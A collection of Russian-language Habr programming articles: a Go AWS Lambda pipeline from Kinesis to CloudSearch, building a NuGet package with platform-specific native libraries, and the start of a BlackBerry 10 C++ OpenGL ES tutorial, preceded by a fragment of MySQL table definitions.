> 14. UNIQUE KEY `ACCOUNT\_LOGIN` (`ACCOUNT\_LOGIN`),
> 15. KEY `ACCOUNT\_SIZE` (`ACCOUNT\_SIZE`),
> 16. KEY `ACCOUNT\_DOWNLOAD\_ENABLED` (`ACCOUNT\_DOWNLOAD\_ENABLED`),
> 17. KEY `ACCOUNT\_BANNED` (`ACCOUNT\_BANNED`),
> 18. KEY `ACCOUNT\_ERRORS` (`ACCOUNT\_ERRORS`),
> 19. KEY `ACCOUNT\_INVITES` (`ACCOUNT\_INVITES`),
> 20. KEY `ACCOUNT\_UPDATE\_DATETIME` (`ACCOUNT\_UPDATE\_DATETIME`)
> 21. )`
##### Таблица файлов
> `Copy Source | Copy HTML1. CREATE TABLE IF NOT EXISTS `file` (
> 2. `FILE\_ID` int(11) NOT NULL auto\_increment,
> 3. `FILE\_NAME` varchar(255) NOT NULL default '',
> 4. `FILE\_SIZE` int(10) unsigned NOT NULL default '0',
> 5. `FILE\_MD5` varchar(32) default NULL,
> 6. `FILE\_DOWNLOAD\_REQUEST\_COUNT` int(10) unsigned NOT NULL default '0',
> 7. `FILE\_DAMAGED` tinyint(4) NOT NULL default '0',
> 8. `FILE\_NONREMOVABLE` tinyint(4) NOT NULL default '0',
> 9. `FILE\_ACCESS\_DATETIME` datetime default NULL,
> 10. `FILE\_DOWNLOAD\_RATE` float NOT NULL default '0',
> 11. PRIMARY KEY (`FILE\_ID`),
> 12. KEY `FILE\_SIZE` (`FILE\_SIZE`),
> 13. KEY `FILE\_DOWNLOAD\_COUNT` (`FILE\_DOWNLOAD\_REQUEST\_COUNT`),
> 14. KEY `FILE\_NONREMOVABLE` (`FILE\_NONREMOVABLE`),
> 15. KEY `FILE\_ACCESS\_DATETIME` (`FILE\_ACCESS\_DATETIME`),
> 16. KEY `FILE\_DOWNLOAD\_RATE` (`FILE\_DOWNLOAD\_RATE`),
> 17. KEY `FILE\_MD5` (`FILE\_MD5`),
> 18. KEY `FILE\_DAMAGED` (`FILE\_DAMAGED`,`FILE\_NONREMOVABLE`)
> 19. )`
##### Таблица чанков
> `Copy Source | Copy HTML1. CREATE TABLE IF NOT EXISTS `file\_chunk` (
> 2. `FILE\_CHUNK\_ID` int(11) NOT NULL auto\_increment,
> 3. `FILE\_ID` int(11) NOT NULL default '0',
> 4. `FILE\_CHUNK\_OFFSET` int(11) NOT NULL default '0',
> 5. `FILE\_CHUNK\_SIZE` int(11) NOT NULL default '0',
> 6. `ACCOUNT\_ID` int(11) NOT NULL default '0',
> 7. `FILE\_THREAD\_ID` varchar(16) NOT NULL default '0',
> 8. `FILE\_ATTACH\_ID` decimal(2,1) NOT NULL default '0.0',
> 9. PRIMARY KEY (`FILE\_CHUNK\_ID`),
> 10. UNIQUE KEY `ACCOUNT\_ID` (`ACCOUNT\_ID`,`FILE\_THREAD\_ID`,`FILE\_ATTACH\_ID`),
> 11. KEY `FILE\_ID` (`FILE\_ID`,`FILE\_CHUNK\_OFFSET`)
> 12. )` | https://habr.com/ru/post/66952/ | null | ru | null |
# Aws Lambda Go 1.x, Kinesis, CloudSearch
В [предыдущей](https://habrahabr.ru/post/351744/) статье я описала как создать простую лямбду на Golang, которая принимает на вход простой объект из двух полей и такой же простой объект отдает на выходе. Теперь немного усложним задачу, подсоединив к лямбде в качестве источника данных Kinesis, а результат обработки записей Kinesis мы будем перекидывать в CloudSearch. Никакой особенной логики в лямбде не будет для упрощения: просто примем запросы от Kinesis, залогируем их в CloudWatch, преобразуем и отправим в CloudSearch.
Событие Kinesis, которое мы ожидаем получить в функции выглядит следующим образом:
```
{
"Records": [
{
"awsRegion": "us-east-1",
"eventID": "",
"eventName": "aws:kinesis:record",
"eventSource": "aws:kinesis",
"eventSourceARN": "arn:aws:kinesis:us-east-1::stream/",
"eventVersion": "1.0",
"invokeIdentityArn": "arn:aws:iam:::role/",
"kinesis": {
"approximateArrivalTimestamp": ,
"data": ,
"partitionKey": "",
"sequenceNumber": "",
"kinesisSchemaVersion": "1.0"
}
}
]
}
```
Здесь нас интересует поле data. Код функции Lambda, которая получает события из Kinesis и логирует данные поля **data** описан ниже: (Код взят [здесь](https://github.com/aws/aws-lambda-go/blob/401379806f2e8d4aed0b7730918a1b6ff8c04c72/events/README_Kinesis.md)):
```
package main
import (
"context"
"fmt"
"github.com/aws/aws-lambda-go/events"
"github.com/aws/aws-lambda-go/lambda"
)
func handler(ctx context.Context, kinesisEvent events.KinesisEvent) error {
for _, record := range kinesisEvent.Records {
kinesisRecord := record.Kinesis
dataBytes := kinesisRecord.Data
dataText := string(dataBytes)
fmt.Printf("%s Data = %s \n", record.EventName, dataText)
}
return nil
}
func main() {
lambda.Start(handler)
}
```
Теперь необходимо дополнить код, чтобы записывать измененные данные в CloudSearch
Здесь мы будем формировать полученные данные от Kinesis в наше представление для поискового домена (CloudSearch).
Данные от Kinesis приходят в закодированном base64 виде в поле **data**. После декодирования данные содержат следующие поля:
```
type KinesisEventData struct {
FilePath string `json:"filePath"`
Id int `json:"id"`
}
```
В CloudSearch мы отправляем данные следующего вида:
```
type CloudSearchDocument struct {
Directory string `json:"dir"`
FileName string `json:"name"`
FileExtension string `json:"ext"`
}
```
Поле id при этом мы сохраним в идетификаторе документа. С подготовкой данных для загрузки в CloudSearch можно подробно ознакомиться [здесь](https://docs.aws.amazon.com/cloudsearch/latest/developerguide/preparing-data.html). Если вкратце, то в CloudSearch мы оправляем json следующего вида:
```
[
{"type": "add",
"id": "12345",
"fields": {
"dir": "С:",
"name": "file.txt",
"ext": "txt"
}
}
]
```
где *type* — тип запросы, который принимает два значения: add или delete; *id* — идентификатор документа, а в нашем случае значение, сохраненное в объекте из кинесис в поле **Id**; *fields* — пары имя-значения, которые мы сохраняем в поисковом домене, в нашем случае — объект типа CloudSearchDocument.
Код ниже преобразует данные из коллекции Records объекта, пришедшего из Kinesis, в коллекцию данных, готовых для загрузки в CloudSearch:
```
var amasonDocumentsBatch []AmazonDocumentUploadRequest
//Preparing data
for _, record := range kinesisEvent.Records {
kinesisRecord := record.Kinesis
dataBytes := kinesisRecord.Data
fmt.Printf("%s Data = %s \n", record.EventName, string(dataBytes))
//Deserialize data from kinesis to KinesisEventData
var eventData KinesisEventData
err := json.Unmarshal(dataBytes, &eventData)
if err != nil {
return failed(), err
}
//Convert data to CloudSearch format
document := ConvertToCloudSearchDocument(eventData)
request := CreateAmazonDocumentUploadRequest(eventData.Id, document)
amasonDocumentsBatch = append(amasonDocumentsBatch, request)
}
```
Следующий код подключается к поисковому домену для загрузки в него подготовленных ранее данных:
```
if len(amasonDocumentsBatch) > 0 {
fmt.Print("Connecting to cloudsearch...\n")
svc := cloudsearchdomain.New(session.New(&aws.Config{
Region: aws.String(os.Getenv("SearchRegion")),
Endpoint: aws.String(os.Getenv("SearchEndpoint")),
MaxRetries: aws.Int(6),
}))
fmt.Print("Creating request...\n")
batch, err := json.Marshal(amasonDocumentsBatch)
if err != nil {
return failed(), err
}
fmt.Printf("Search document = %s \n", batch)
params := &cloudsearchdomain.UploadDocumentsInput{
ContentType: aws.String("application/json"),
Documents: strings.NewReader(string(batch)),
}
fmt.Print("Starting to upload...\n")
req, resp := svc.UploadDocumentsRequest(params)
fmt.Print("Send request...\n")
err = req.Send()
if err != nil {
return failed(), err
}
fmt.Println(resp)
}
```
Для того, чтобы собрать код, необходимо подгрузить билиотеки *aws-sdk-go* и *aws-lambda-go*:
```
go get -u github.com/aws/aws-lambda-go/cmd/build-lambda-zip
go get -d github.com/aws/aws-sdk-go/
```
Как собрать и задеплоить лямбду описано в [предыдущей](https://habrahabr.ru/post/351744/) статье, здесь только необходимо добавить переменные среды через консоль Лямбда и подготовить новые тестовые данные:
```
os.Getenv("SearchRegion")
os.Getenv("SearchEndpoint")
```
Полный код доступен по [ссылке](https://github.com/GolovinskayaAlbina/amazon-lambda-kinesis-cloudsearch).
Но вначале откроем консоль CloudSearch и создадим поисковый домен. Для домена я буду выбирать самый минимальный инстанс и количество репликаций = 1. Далее необходимо создать поля **dir**, **name**, **ext**. Для данных полей я выберу тип string, но некоторые из них могут иметь и другой тип, например, литеральное поле. Но все зависит от того, как вы будете манипулировать этими полями. Для более подробной информации лучше ознакомиться с документацией Amazon.
Создаем поисковый домен(кнопка *Create a new Domain*), заполняем имя и выбираем тип инстанса:
Создаем поля:
Домен создается около 10 минут, после того, как он станет активным, у вас будет Url поискового домена, который необходимо ввести в переменные среды в консоли Lambda, не забывайте перед Url указывать протокол как на изображении ниже, а также укажите регион, в котором находится поисковый домен:
Теперь не забудьте выдать права лямбде через консоль IAM для работы с Kinesis, CloudWatch и CloudSearch. Kinesis можно подключить через консоль Lambda: для этого необходимо выбрать его в блоке *Add triggers* и заполнить поля, указав существующий в данном регионе стрим, количество записей в батче и позицию в стриме, с которой будет начинаться считывание. Мы можем протестировать работу лямбды, не подключая ее к кинесис, для этого нужно создать тест и добавить в него json следующего вида:
```
{
"Records": [
{
"awsRegion": "us-east-1",
"eventID": "shardId-000000000001:1",
"eventName": "aws:kinesis:record",
"eventSource": "aws:kinesis",
"eventSourceARN": "arn:aws:kinesis:us-east-1:xxx",
"eventVersion": "1.0",
"invokeIdentityArn": "arn:aws:iam::xxx",
"kinesis": {
"approximateArrivalTimestamp": 1522222222.06,
"data": "eyJpZCI6IDEyMzQ1LCJmaWxlUGF0aCI6ICJDOlxcZmlsZS50eHQifQ==",
"partitionKey": "key",
"sequenceNumber": "1",
"kinesisSchemaVersion": "1.0"
}
},
{
"awsRegion": "us-east-1",
"eventID": "shardId-000000000001:1",
"eventName": "aws:kinesis:record",
"eventSource": "aws:kinesis",
"eventSourceARN": "arn:aws:kinesis:us-east-1:xxx",
"eventVersion": "1.0",
"invokeIdentityArn": "arn:aws:iam::xxx",
"kinesis": {
"approximateArrivalTimestamp": 1522222222.06,
"data": "eyJpZCI6IDEyMzQ2LCJmaWxlUGF0aCI6ICJDOlxcZm9sZGVyXFxmaWxlLnR4dCJ9",
"partitionKey": "key",
"sequenceNumber": "2",
"kinesisSchemaVersion": "1.0"
}
}
]
}
```
Для генерации других значений поля **data** можно воспользоваться [ссылкой](https://play.golang.org/p/-EYSnIQcKPv).
Результат работы также можно посмотреть в поисковом домене:
Дополнительные материалы:
[Код поиска](http://takuan.hateblo.jp/entry/2016/05/17/golang%E3%81%8B%E3%82%89cloudsearch%E3%82%92%E4%BD%BF%E3%81%86) документов в поисковом домене на Go.
В следующей статье планируется рассмотрение CloudFormation скрипта для автоматического создания и подключения Lambda, Kinesis, CloudSearch. | https://habr.com/ru/post/351876/ | null | ru | null |
# Создание пакета NuGet для библиотеки с платформозависимым API
*Версию на английском языке можно прочитать* [*здесь*](https://habr.com/en/post/565908/)*.*
Когда речь заходит о создании .NET библиотеки, части API которой являются платформозависимыми, приходится думать, как всё это оформить в NuGet пакет, да так, чтобы установленная из пакета библиотека работала в разных сценариях (.NET Framework, .NET Core, self-contained app и т.д.). К сожалению, в сети сложно найти инструкцию, которая бы шаг за шагом показывала, как выполнить эту задачу. Данная статья призвана быть такой инструкцией.
Я разрабатываю .NET библиотеку для работы с MIDI файлами и MIDI устройствами – [DryWetMIDI](https://github.com/melanchall/drywetmidi). Большинство API библиотеки кроссплатформенное (в рамках поддерживаемых .NET систем, конечно же), однако работа с MIDI устройствами различна на разных операционных системах. На данный момент соответствующий API библиотеки работает только на Windows, однако есть большое желание обеспечить его работу и на других системах. Не буду бросаться в поддержку всего и вся, посему сначала собираюсь поддержать macOS, тем более что данная операционная система не менее популярна для работы с музыкой, а может даже и самая популярная в профессиональных кругах.
Разумеется, нет смысла заниматься сразу реализацией реального API, проще проверить всё на маленьком примере. Именно так я и поступил, и хочу пройти путь до работающего решения ещё раз вместе с вами. Краткий список шагов будет приведён в конце статьи.
Первые попытки
--------------
Моя библиотека, как и положено оной в мире .NET, поставляется в виде NuGet пакета. Поэтому я сразу понял, что в нём нужно будет также поставлять нативные библиотеки, предоставляющие API для конкретной операционной системы.
В C# мы можем написать такое определение внешней функции:
```
[DllImport("test")]
public static extern int Foo();
```
То бишь нет нужды указывать расширение нативной библиотеки, .NET подставит нужное на основе текущей операционной системы. Иными словами, если рядом с нашим приложением будут лежать файлы *test.dll* и *test.dylib*, то на Windows вызовется функция `Foo` из test.dll, а на macOS – из test.dylib. Можно масштабировать и на \*nix, поставляя файл *test.so*.
Чтобы двинуться дальше, создадим проект нашей тестовой библиотеки. В файле .csproj DryWetMIDI указаны [TFM](https://docs.microsoft.com/en-us/dotnet/standard/frameworks) *netstandard2.0* и *net45*, поэтому для тестового проекта я также указал эти целевые платформы для приближения к реальным условиям. Проект назовём *DualLibClassLibrary*, внутри будет всего один файл *Class.cs*:
```
using System.Runtime.InteropServices;
namespace DualLibClassLibrary
{
public static class Class
{
[DllImport("test")]
public static extern int Foo();
public static int Bar()
{
return Foo() * 1000;
}
}
}
```
Кроме того, нам, разумеется, нужны сами нативные сборки (test.dll и test.dylib). Я собрал их из простого кода на C (к слову, такого подхода буду придерживаться затем и в реальной библиотеке):
*для Windows*
```
int Foo() { return 123; }
```
*для macOS*
```
int Foo() { return 456; }
```
Если интересно, файлы test.dll и test.dylib создавал в рамках тестового пайплайна в Azure DevOps (в действительности двух, для Windows и macOS). В конце концов, мне нужно будет делать всё в рамках CI, так что решил сразу проверить, как всё будет происходить в реальности. Пайплайн простой, состоит из 3 шагов:
*1. сгенерировать файл с кодом на C (задача PowerShell):*
```
New-Item "test.c" -ItemType File -Value "int Foo() { return 123; }"
```
(`return 456;` для macOS);
*2. собрать библиотеку (задача Command Line):*
```
gcc -v -c test.c
gcc -v -shared -o test.dll test.o
```
(test.dylib для macOS);
*3. опубликовать артефакт с библиотекой (задача Publish Pipeline Artifacts).*
Итак, имеем файлы test.dll и test.dylib, предоставляющие одну и ту же функцию `Foo`, которая для Windows возвращает `123`, а для macOS – `456`, так что мы всегда сможем проверить корректность вызова и результата. Файлы положим рядом с *DualLibClassLibrary.csproj*.
Теперь нужно понять, как добавить их в NuGet пакет так, чтобы после установки пакета они копировались в выходную директорию при сборке приложения, обеспечивая таким образом работу установленной библиотеки. Так как библиотека у нас кроссплатформенная и использует новый формат файла .csproj (SDK style), очень хочется там и объявить инструкции для упаковки файлов. Изучив немного вопрос, пришёл к такому содержимому .csproj:
```
netstandard2.0;net45
6
Debug;Release
DualLibClassLibrary
1.0.0
melanchall
melanchall
Dual-lib class library
Copyright Melanchall 2021
true
true
Always
true
Always
```
Собираем пакет:
`dotnet pack .\DualLibClassLibrary.sln -c Release`
Дабы проверить установку пакета, создадим папку (я назвал её TestFeed) где-нибудь и укажем её в качестве источника пакетов в Visual Studio. Внутрь положим полученный файл *DualLibClassLibrary.1.0.0.nupkg*. Установку пакета проверим в старом добром классическом .NET Framework на Windows. Создаём консольное приложение, устанавливаем нашу библиотеку. В проекте действительно появляются два файла:
Файлы test.dll и test.dylib добавились из пакетаВыглядит обнадёживающе, пишем в файле *Program.cs* простой код:
```
static void Main(string[] args)
{
var result = DualLibClassLibrary.Class.Bar();
Console.WriteLine($"Result = {result}. Press any key to exit...");
Console.ReadKey();
}
```
Запускаем и грустим:
Программа не нашла файл test.dllЧто ж, заглянем в папку *bin/Debug*:
Файлы test.dll и test.dylib отсутствуют в выходной директории приложенияИ правда нет файлов. Как же так, мы им указали, в структуре проекта файлы видны. Проверив содержимое .csproj нашего приложения, всё становится понятно:
В csproj полный беспорядок с добавленными файламиВо-первых, элемент отсутствует, а во-вторых, по неведомой причине test.dylib добавился как элемент , а test.dll как элемент . Остаётся только посмотреть содержимое файла .nupkg. Воспользовавшись программой [NuGet Package Explorer](https://github.com/NuGetPackageExplorer/NuGetPackageExplorer), видим следующий манифест:
```
xml version="1.0" encoding="utf-8"?
DualLibClassLibrary
1.0.0
melanchall
false
Dual-lib class library
Copyright Melanchall 2021
```
Как видим, файлы добавились без атрибута `copyToOutput`, что печально (про атрибут можно почитать в таблице тут: [Using the contentFiles element for content files](https://docs.microsoft.com/en-us/nuget/reference/nuspec#using-the-contentfiles-element-for-content-files)).
Копирование файлов в выходную директорию при сборке приложения
--------------------------------------------------------------
Полистав некоторое время просторы интернета в виде issues на GitHub, ответов на StackOverflow и официальной документации Microsoft, видоизменил элементы включения файлов в .csproj библиотеки:
```
true
Always
true
contentFiles;content
true
Always
true
contentFiles;content
```
Элемент как раз должен привнести атрибут `copyToOutput` в манифест пакета. Кроме того, явно указал папки, куда нужно положить файлы, дабы избежать директорий вроде *any*. Подробнее о том, как всё это работает, можно почитать тут: [Including content in a package](https://docs.microsoft.com/en-us/nuget/reference/msbuild-targets#including-content-in-a-package).
Собираем снова наш пакет и проверяем манифест:
```
xml version="1.0" encoding="utf-8"?
DualLibClassLibrary
1.0.1
melanchall
false
Dual-lib class library
Copyright Melanchall 2021
```
Теперь всё выглядит куда лучше, простая структура файлов и атрибут `copyToOutput` на месте. Устанавливаем библиотеку в наше консольное приложение и запускаем:
copyToOutput ситуацию не спасаетИ снова неудача. Проверим в аналогичном консольном приложении, но на .NET 5:
Всё так же файлов нет в выходной директории приложенияКроме слегка изменённого текста исключения разницы не видно. Отписался в issue по итогу, на что мне ответили:
> Please see our [docs on](https://docs.microsoft.com/en-us/nuget/reference/nuspec#package-folder-structure)`contentFiles`. It supports adding different content depending on project's target framework and language, and therefore needs files in a specific structure which your package is not currently using.
>
>
Оказалось, что я проглядел документацию, и, действительно, если файлы добавлять не по пути *contentFiles*, а по, например, *contentFiles/any/netstandard2.0*, то-таки да, автоматически создаётся .props файл, содержащий правильные элементы для файлов. Однако я свои исследования вёл до получения этого ответа, посему пошёл другим путём. И, как оказалось, верным, ибо подход с `contentFiles` исключает возможность использования пакета в .NET Framework приложениях, а я считаю, что этот сценарий обязан быть поддержан.
Есть статья в документации Microsoft с подозрительно нужным заголовком: [Creating native packages](https://docs.microsoft.com/en-us/nuget/guides/native-packages). Статья не сильно содержательная, однако кое-что полезное из неё можно почерпнуть. А именно, что можно сделать файл .targets, где мы и укажем нашим файлам. Сам файл .targets мы включим в пакет вместе с нативными библиотеками. Сказано – сделано. Создаём файл *DualLibClassLibrary.targets*:
```
xml version="1.0" encoding="utf-8"?
test.dll
PreserveNewest
test.dylib
PreserveNewest
```
А в файле *DualLibClassLibrary.csproj* пропишем:
```
PreserveNewest
build\
true
PreserveNewest
build\
true
build\
true
```
Собираем версию 1.0.2, устанавливаем в наше консольное приложение .NET Framework и запускаем:
Ошибка уже другаяДанная ошибка может возникнуть из-за несоответствующей разрядности приложения и нативных сборок. Я собирал их на 64-битных системах, приложение запускаю также в 64-битной ОС. Что ж, продолжаем наше путешествие.
Поддержка 32- и 64-битных процессов
-----------------------------------
Если зайти в свойства проекта приложения в Visual Studio на вкладку Build, обнаружим такую опцию:
Процесс будет 32-битнымОказывается, для проектов .NET Framework она включена по умолчанию, а процесс приложения будет 32-битным даже на 64-битной операционной системе. Забавно, что в .NET Core/.NET 5+ опция по умолчанию выключена:
А в .NET Core опция выключенаМожно, конечно, выключить эту опцию, и приложение наконец напечатает верный результат:
`Result = 123000. Press any key to exit...`
Но, разумеется, это не решение по следующим причинам:
1. не будет возможности использовать библиотеку в 32-битных процессах;
2. придётся требовать от пользователей лишних действий в виде отключения галки;
3. классический дефолтный сценарий (создать новое приложение .NET Framework безо всяких дополнительных манипуляций) оказывается нерабочим.
Конечно же, так никуда не годится, и проблему нужно победить. На самом деле, вариант тут очевиден: сделать нативные сборки для каждой операционной системы в двух вариантах – 32- и 64-битном. То есть поставка пакета чуть распухнет, вместо 2 платформозависимых библиотек внутри будут 4. Я в этом ничего плохого не вижу, ибо файлы всё равно небольшие, а потому буду продолжать именно с этим подходом (тем более, что иного не придумал).
Немного расскажу о том, как собирал 32-битные версии библиотек. Как я упоминал выше, я произвожу сборку в конвейерах Azure DevOps через gcc. У gcc есть флаг `-m32`, который, по идее, должен как раз собрать 32-битную библиотеку. На сборочных агентах с macOS всё здорово, а вот на Windows получил нелицеприятные логи:
`C:/ProgramData/Chocolatey/lib/mingw/tools/install/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible C:/ProgramData/Chocolatey/lib/mingw/tools/install/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libuser32.a when searching for -luser32`
`...`
`C:/ProgramData/Chocolatey/lib/mingw/tools/install/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmsvcrt.a when searching for -lmsvcrt`
`C:/ProgramData/Chocolatey/lib/mingw/tools/install/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lmsvcrt`
`collect2.exe: error: ld returned 1 exit status`
Задав вопрос и на [StackOverflow](https://stackoverflow.com/questions/67671973/gcc-m32-not-working-on-windows-hosted-agents), и в [Microsoft Developer Community](https://developercommunity.visualstudio.com/t/gcc-m32-not-working-on-windows-hosted-agents/1430375), выяснилось, что на агентах Microsoft не предустановлен 32-битный MinGW, что и приводит к падению. Попробовав множество вариантов, я остановился на проекте [brechtsanders/winlibs\_mingw](https://github.com/brechtsanders/winlibs_mingw), придя к простому PowerShell скрипту:
```
Write-Host "Downloading winlibs..."
Invoke-WebRequest -Uri "https://github.com/brechtsanders/winlibs_mingw/releases/download/11.1.0-12.0.0-9.0.0-r1/winlibs-i686-posix-dwarf-gcc-11.1.0-mingw-w64-9.0.0-r1.zip" -OutFile "winlibs.zip"
Write-Host "Downloaded."
Write-Host "Extracting winlibs..."
Expand-Archive -LiteralPath 'winlibs.zip' -DestinationPath "winlibs"
Write-Host "Extracted."
Write-Host "Building DLL..."
$gccPath = Get-ChildItem -Path "winlibs" -File -Filter "i686-w64-mingw32-gcc.exe" -Recurse
& $gccPath.FullName -c test.c -m32
& $gccPath.FullName -shared -o test.dll test.o -m32
Write-Host "Built."
```
Используя поставляемый в составе архива компилятор *i686-w64-mingw32-gcc.exe*, удалось наконец-таки собрать 32-битный файл test.dll. Ура!
Теперь осталось придумать, как заставить нашу библиотеку вызывать API либо из 32- либо из 64-битной сборки. Я думаю, варианты тут есть разные, я остановился на таком:
1. собираем нативные библиотеки test32.dll, test64.dll, test32.dylib и test64.dylib;
2. делаем абстрактный класс `Api` с абстрактными методами, соответствующими нашему managed API для внутреннего использования;
3. делаем два наследника `Api32` и `Api64`, в которых реализуем абстрактный API из родительского класса, вызывая unmanaged API из test32 и test64 соответственно;
4. делаем класс `ApiProvider`, чьё свойство `Api` будет отдавать нам реализацию, соответствующую разрядности текущего процесса.
**UPD:** Начиная с .NET Core 3.0 можно воспользоваться классом [NativeLibrary](https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.nativelibrary), и, в частности, его методом [SetDllImportResolver](https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.nativelibrary.setdllimportresolver?#system-runtime-interopservices-nativelibrary-setdllimportresolver(system-reflection-assembly-system-runtime-interopservices-dllimportresolver)). Это позволит упростить предлагаемую далее структуру и избавиться от дублирования сигнатур внешних функций (можно будет в рантайме по текущей разрядности сообщить .NET нужное имя нативной сборки).
Приведу код файлов:
**Api.cs**
```
namespace DualLibClassLibrary
{
internal abstract class Api
{
public abstract int Method();
}
}
```
**Api32.cs**
```
using System.Runtime.InteropServices;
namespace DualLibClassLibrary
{
internal sealed class Api32 : Api
{
[DllImport("test32")]
public static extern int Foo();
public override int Method()
{
return Foo();
}
}
}
```
**Api64.cs**
```
using System.Runtime.InteropServices;
namespace DualLibClassLibrary
{
internal sealed class Api64 : Api
{
[DllImport("test64")]
public static extern int Foo();
public override int Method()
{
return Foo();
}
}
}
```
**ApiProvider.cs**
```
using System;
namespace DualLibClassLibrary
{
internal static class ApiProvider
{
private static readonly bool Is64Bit = IntPtr.Size == 8;
private static Api _api;
public static Api Api
{
get
{
if (_api == null)
_api = Is64Bit ? (Api)new Api64() : new Api32();
return _api;
}
}
}
}
```
И тогда код нашего класса `Class` будет таким:
```
namespace DualLibClassLibrary
{
public static class Class
{
public static int Bar()
{
return ApiProvider.Api.Method() * 1000;
}
}
}
```
Собрав пакет (разумеется, обновив предварительно содержимое файлов *DualLibClassLibrary.targets* и *DualLibClassLibrary.csproj*, добавив новые файлы), убедимся, что метод нашей библиотеки работает корректно при любой разрядности процесса приложения.
Заключение
----------
Я привёл полную хронологию моих мытарств касательно создания NuGet пакета с платформозависимым API, но будет полезно кратко перечислить основные моменты (я же обещал инструкцию):
1. создать нативные сборки, причём в двух вариантах: 32- и 64-битном;
2. положить их рядом с проектом библиотеки (можно и в папку какую-то, главное путь указать к ним потом верный);
3. добавить файл .targets, в котором для всех нативных сборок добавить элемент с желаемым значением;
4. в файле .csproj библиотеки прописать упаковку как нативных сборок, так и файла .targets (должен пойти в папку build пакета);
5. реализовать механизм выбора нужной версии нативной сборки в зависимости от разрядности процесса.
Это всё. Солюшн нашей тестовой библиотеки можно взять отсюда: [DualLibClassLibrary.zip](https://www.dropbox.com/s/9u9h3vb0ke9l7ef/DualLibClassLibrary.zip?dl=0). Решение было проверено в следующих сценариях на Windows и macOS:
1. .NET Framework приложение;
2. .NET Core / .NET 5 приложение;
3. Self-contained приложение.
Касательно проверки в 32- и 64-битном процессах – проверял только на Windows, не уверен, как проверить это на macOS. **UPD:** В пакете поставляю только 64-битный файл dylib.
Стоит заметить, что .NET [на данный момент поддерживает только десктопные операционные системы](https://github.com/dotnet/core/blob/main/release-notes/5.0/5.0-supported-os.md). Однако в .NET 6 [заявляется поддержка также и мобильных платформ](https://github.com/dotnet/core/blob/main/release-notes/6.0/supported-os.md). Если честно, не уверен, сработает ли описанный в статье подход там. Думаю, что для iOS файл dylib спокойно подойдёт (или нет?), а касательно Android нужно думать отдельно. Может, кто-то уже сталкивался и подскажет в комментариях? **UPD:** С выходом .NET 6, а далее и .NET MAUI можно расширить подход и на мобильные платформы. Кроме того, для iOS нужен файл **a**, а не dylib, подробности прояснения вопроса смотрите в [этом обсуждении](https://github.com/melanchall/drywetmidi/discussions/235).
Спасибо за прочтение! | https://habr.com/ru/post/564476/ | null | ru | null |
# Разработка на С++ для BlackBerry 10 без использования IDE (с использованием OpenGL ES 2)
Под BlackBerry OS 10 есть отличная среда разработки: QNX Momentics IDE, на базе Eclipse. И всё бы хорошо, но когда дело доходит до автоматизации сборки билдов, настройки билд-конфигураций на TeamCity, то IDE нужна как собаке пятая нога. Именно это было самой большой проблемой при портировании нашего [движка](http://www.linderdaum.com) на BlackBerry. Давайте разберёмся, как можно собрать проект, упаковать дистрибутив, подписать его и запустить на эмуляторе — и всё это без использования IDE.
#### Зависимости
Для сборки проекта нам понадобятся:
* BlackBerry 10 Native SDK и эмулятор для тестов: [developer.blackberry.com/native/download](http://developer.blackberry.com/native/download/)
* Python: [python.org/download](http://python.org/download)
#### C++ проект
Начнём с того, что набросаем сырец нашего минималистичного приложения, которое будет рисовать цветной треугольник с помощью OpenGL ES 2.
**Это будет main.cpp.**
```
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "bbutil.h"
static const char g\_vShaderStr[] =
"#version 100\n"
"precision highp float;\n"
"attribute vec3 vPosition;\n"
"attribute vec3 vColor;\n"
"varying vec4 Color;\n"
"void main()\n"
"{\n"
" Color = vec4( vColor, 1.0 );\n"
" gl\_Position = vec4( vPosition, 1.0 );\n"
"}\n";
static const char g\_fShaderStr[] =
"#version 100\n"
"precision highp float;\n"
"varying vec4 Color;\n"
"void main()\n"
"{\n"
" gl\_FragColor = Color;\n"
"}\n";
static GLuint g\_ProgramObject = 0;
static GLuint LoadShader( GLenum type, const char\* shaderSrc )
{
GLuint shader = glCreateShader( type );
glShaderSource ( shader, 1, &shaderSrc, NULL );
glCompileShader ( shader );
GLint compiled;
glGetShaderiv ( shader, GL\_COMPILE\_STATUS, &compiled );
GLsizei MaxLength = 0;
glGetShaderiv( shader, GL\_INFO\_LOG\_LENGTH, &MaxLength );
char\* InfoLog = new char[MaxLength];
glGetShaderInfoLog( shader, MaxLength, &MaxLength, InfoLog );
return shader;
}
static void GLDebug\_LoadStaticProgramObject()
{
if ( g\_ProgramObject == 0 )
{
GLuint vertexShader = LoadShader ( GL\_VERTEX\_SHADER, g\_vShaderStr );
GLuint fragmentShader = LoadShader ( GL\_FRAGMENT\_SHADER, g\_fShaderStr );
g\_ProgramObject = glCreateProgram ( );
glAttachShader ( g\_ProgramObject, vertexShader );
glAttachShader ( g\_ProgramObject, fragmentShader );
glLinkProgram ( g\_ProgramObject );
GLint linked;
glGetProgramiv ( g\_ProgramObject, GL\_LINK\_STATUS, &linked );
GLsizei Length = 0;
GLsizei MaxLength = 0;
glGetProgramiv( g\_ProgramObject, GL\_INFO\_LOG\_LENGTH, &MaxLength );
char\* InfoLog = new char[MaxLength];
glGetProgramInfoLog( g\_ProgramObject, MaxLength, &Length, InfoLog );
}
}
static void GLDebug\_RenderTriangle()
{
const GLfloat vVertices[] = { 0.0f, 0.5f, 0.0f, -0.5f, -0.5f, 0.0f, 0.5f, -0.5f, 0.0f };
const GLfloat vColors[] = { 1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f };
glUseProgram ( g\_ProgramObject );
GLint Loc1 = glGetAttribLocation( g\_ProgramObject, "vPosition" );
GLint Loc2 = glGetAttribLocation( g\_ProgramObject, "vColor" );
glBindBuffer( GL\_ARRAY\_BUFFER, 0 );
glBindBuffer( GL\_ELEMENT\_ARRAY\_BUFFER, 0 );
glVertexAttribPointer ( Loc1, 3, GL\_FLOAT, GL\_FALSE, 0, vVertices );
